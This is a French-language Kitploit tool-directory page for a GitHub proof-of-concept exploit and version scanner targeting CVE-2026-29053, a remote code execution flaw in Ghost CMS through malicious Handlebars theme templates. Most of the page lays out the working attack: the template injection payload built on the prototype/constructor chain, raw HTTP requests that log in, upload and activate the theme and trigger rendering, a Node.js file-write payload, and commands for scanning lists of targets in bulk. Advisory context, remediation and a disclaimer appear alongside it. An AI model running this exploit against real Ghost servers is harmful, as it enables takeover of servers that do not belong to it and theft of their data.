Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-29053 — PoC Python et scanner de version pour CVE-2026-29053, une RCE authentifiée dans Ghost CMS inférieur à 6.19.1 via des modèles de thème Handlebars malveillants. | Kitploit
Outils/GitHubGitHub/k3ystr0k3r/cve-2026-29053
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubk3ystr0k3r/cve-2026-29053

CVE-2026-29053

PoC Python et scanner de version pour CVE-2026-29053, une RCE authentifiée dans Ghost CMS inférieur à 6.19.1 via des modèles de thème Handlebars malveillants.

12il y a 15h 32mPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-29053 - Ghost CMS < 6.19.0 - Exécution de code à distance authentifiée via un thème malveillant

CVE-2026-29053, affecte le système de gestion de contenu Ghost construit sur Node.js. Les versions de 0.7.2 à 6.19.0 sont vulnérables à ce problème. Un thème malveillant peut exploiter cette vulnérabilité et exécuter du code arbitraire sur le serveur exécutant Ghost. La gravité de cette vulnérabilité est élevée, avec un score CVSS de 7.6. Ce problème a été corrigé dans la version 6.19.1. Un attaquant qui exploite avec succès cette vulnérabilité peut obtenir un accès non autorisé au serveur et potentiellement en prendre le contrôle. Il pourrait alors utiliser cet accès pour manipuler des données, voler des informations sensibles ou mener d'autres activités malveillantes. Les produits/services affectés sont toutes les versions de Ghost de 0.7.2 à 6.19.0. Pour atténuer ce risque, les utilisateurs doivent mettre à jour leurs installations Ghost vers la version 6.19.1 ou ultérieure dès que possible. Cela garantira que la vulnérabilité est corrigée et ne constitue plus une menace. Si la mise à jour n'est pas réalisable pour le moment, il est recommandé de surveiller attentivement tout nouveau développement concernant cette vulnérabilité et d'appliquer les mesures de sécurité nécessaires pour se protéger contre d'éventuelles attaques. Cette CVE n'est actuellement pas répertoriée dans le catalogue Known Exploited Vulnerabilities (KEV) de la CISA, ce qui signifie qu'elle n'a pas été activement exploitée par des acteurs malveillants. Cependant, les utilisateurs doivent tout de même prioriser la mise à jour de leurs systèmes pour prévenir tout risque potentiel associé à cette vulnérabilité.

Un PoC Python pour CVE-2026-29053, une vulnérabilité d'exécution de code à distance dans Ghost CMS causée par des thèmes spécialement conçus pouvant exécuter du JavaScript arbitraire lors du rendu des templates.

Affecté : Ghost 0.7.2 jusqu'à Ghost CWE-74 — Neutralisation incorrecte d'éléments spéciaux dans la sortie utilisée par un composant en aval

6.19.0
Corrigé :
6.19.1
CWE :

L'avis de Ghost décrit le problème comme une exécution de code arbitraire via des thèmes malveillants.


Quelle est la vulnérabilité ?

Les thèmes Ghost utilisent des templates Handlebars (.hbs).

Un template spécialement conçu peut abuser de la façon dont Ghost traite les expressions Handlebars et accéder à des fonctionnalités JavaScript qui ne devraient pas être accessibles depuis un template de thème normal.

La partie importante de l'exploit est l'expression du template :

root@kitploit:~
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

La charge utile est insérée dans le template avant que le thème malveillant ne soit empaqueté.

Le template résultant est ensuite téléversé et activé via l'API Ghost Admin.

Lorsque Ghost effectue ensuite le rendu du template affecté, l'expression injectée provoque l'exécution de la charge utile JavaScript au sein du processus serveur Ghost.


Le PoC implémente chacune de ces étapes directement.

Authentification

Le PoC établit d'abord une session Ghost Admin authentifiée.

Le point de terminaison concerné est :

root@kitploit:~
POST /ghost/api/admin/session/

La requête générée par le PoC est équivalente à :

root@kitploit:~
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET

{
  "username": "[email protected]",
  "password": "PASSWORD"
}

Ghost renvoie le cookie de session authentifié.

Le PoC vérifie le code HTTP 201 puis continue en utilisant le même objet requests.Session().


Création du thème

L'exploit crée une archive ZIP contenant un thème Ghost minimal.

Les fichiers importants sont :

root@kitploit:~
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json

Le template malveillant est écrit dans :

root@kitploit:~
page-rce.hbs

Le PoC construit entièrement l'archive en mémoire à l'aide du module zipfile de Python.

Le package.json généré identifie l'archive comme un thème Ghost :

root@kitploit:~
{
  "name": "malicious-theme",
  "description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
  "version": "1.0.0",
  "engines": {
    "ghost": ">=5.0.0"
  },
  "license": "MIT"
}

Template malveillant

La partie vulnérable du thème est l'expression Handlebars à l'intérieur de page-rce.hbs.

Le PoC génère :

root@kitploit:~
{{!< default}}

<main class="lab-page">
  <h1>CVE-2026-29053 trigger</h1>
  <p>This page renders the malicious theme template.</p>
</main>

{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

La charge utile est substituée dans %PAYLOAD% avant que le thème ne soit compressé.

Charge utile

Le PoC par défaut utilise une charge utile d'écriture de fichier comme preuve non destructive de l'exécution de code.

Il génère un JavaScript équivalent à :

root@kitploit:~
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
    '/tmp/cve-2026-29053-rce.txt',
    'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1

Cela démontre que la charge utile s'exécute au sein du processus Ghost Node.js et peut accéder aux fonctionnalités de Node.js.

Le PoC contient également un mode de rappel optionnel pour les environnements de laboratoire.


Téléversement du thème

Une fois le thème malveillant généré, le PoC l'envoie à :

root@kitploit:~
POST /ghost/api/admin/themes/upload/

La requête est un téléversement de formulaire multipart.

Conceptuellement :

root@kitploit:~
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

Content-Type: multipart/form-data; boundary=------------------------BOUNDARY

--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip

[ZIP ARCHIVE]
--------------------------BOUNDARY--

L'archive contient le template .hbs malveillant décrit ci-dessus.

Le PoC attend un code HTTP 200 et extrait le nom du thème renvoyé depuis la réponse JSON.


Activation du thème

Après avoir téléversé le thème, le PoC l'active avec :

root@kitploit:~
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

Le point de terminaison d'activation est construit dynamiquement :

root@kitploit:~
/ghost/api/admin/themes/{theme_name}/activate/

L'exploit s'arrête si Ghost ne renvoie pas un code HTTP 200.


Déclenchement du template

Le PoC crée ensuite une page publiée :

root@kitploit:~
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

{
  "pages": [
    {
      "title": "rce",
      "slug": "rce",
      "status": "published",
      "html": "<p>rce</p>"
    }
  ]
}

Le code utilise le slug :

root@kitploit:~
/rce/

Si la page existe déjà, il tente de récupérer la page existante à la place.

Le déclenchement final est simplement :

root@kitploit:~
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION

Cela amène Ghost à effectuer le rendu du thème actif.

Le PoC vérifie dans le HTML renvoyé la présence de :

root@kitploit:~
CVE-2026-29053 trigger

pour confirmer que page-rce.hbs a été rendu.


Pourquoi cela aboutit à une RCE

La distinction importante est que l'attaquant n'injecte pas simplement du HTML dans une page.

L'entrée malveillante fait partie d'un template de thème Ghost Handlebars.

Le template est ensuite interprété par le système de rendu côté serveur de Ghost.

L'expression conçue atteint des fonctionnalités JavaScript via la chaîne de prototype/construction :

root@kitploit:~
__proto__
   ↓
toString
   ↓
constructor
   ↓
Function(...)
   ↓
JavaScript contrôlé par l'attaquant

Le JavaScript résultant s'exécute dans le processus serveur Ghost.

Le PoC le démontre en accédant au module fs intégré de Node et en écrivant un fichier sur le serveur.


Flux de requêtes brut

En rassemblant l'interaction HTTP :

root@kitploit:~
1. POST /ghost/api/admin/session/
   └── authentification

2. POST /ghost/api/admin/themes/upload/
   └── téléversement de malicious-theme.zip

3. PUT /ghost/api/admin/themes/<name>/activate/
   └── activation du thème malveillant

4. POST /ghost/api/admin/pages/
   └── création de /rce/

5. GET /rce/
   └── rendu de page-rce.hbs malveillant
       └── expression Handlebars
           └── exécution JavaScript
               └── impact au niveau du système d'exploitation

Vérification de version

Le PoC contient également un scanner.

Il envoie la requête :

root@kitploit:~
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0

La réponse est analysée pour :

root@kitploit:~
{
  "site": {
    "version": "6.19.0"
  }
}

Le PoC compare ensuite la version à :

root@kitploit:~
0.7.2 <= version <= 6.19.0

et signale les versions correspondantes comme vulnérables.

L'avis publié spécifie la plage affectée comme >= 0.7.2, < 6.19.1, avec 6.19.1 comme version corrigée.


Utilisation du PoC

Preuve d'écriture de fichier

root@kitploit:~
python3 exploit.py --target http://TARGET

Le chemin de preuve par défaut est :

root@kitploit:~
/tmp/cve-2026-29053-rce.txt

Il peut être modifié avec :

root@kitploit:~
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt

Installation existante

Si la configuration de Ghost a déjà été effectuée :

root@kitploit:~
python3 exploit.py --target http://TARGET --skip-setup

Les identifiants peuvent être fournis à l'aide de :

root@kitploit:~
--email
--password

Scanner

Les cibles peuvent être fournies depuis un fichier :

root@kitploit:~
python3 exploit.py --file targets.txt

Nombre de threads :

root@kitploit:~
python3 exploit.py --file targets.txt --threads 25

Le scanner vérifie le point de terminaison Ghost Admin site et compare la version de Ghost signalée à la plage vulnérable.


Impact

Une exploitation réussie permet l'exécution de JavaScript arbitraire au sein du processus serveur Ghost.

Selon les privilèges du processus Ghost et la charge utile utilisée, cela peut affecter :

  • La confidentialité
  • L'intégrité
  • La disponibilité

L'enregistrement CVE publié évalue le problème comme accessible par le réseau mais nécessitant des privilèges élevés et une interaction utilisateur, avec un périmètre modifié.


Remédiation

Mettre à niveau Ghost vers :

root@kitploit:~
6.19.1+

L'avis de vulnérabilité de Ghost identifie 6.19.1 comme la version corrigée.

Ne pas installer de thèmes non fiables.


Avertissement

Ce PoC est fourni à des fins de recherche sur les vulnérabilités, de tests d'intrusion autorisés et d'éducation.

Télécharger l’outil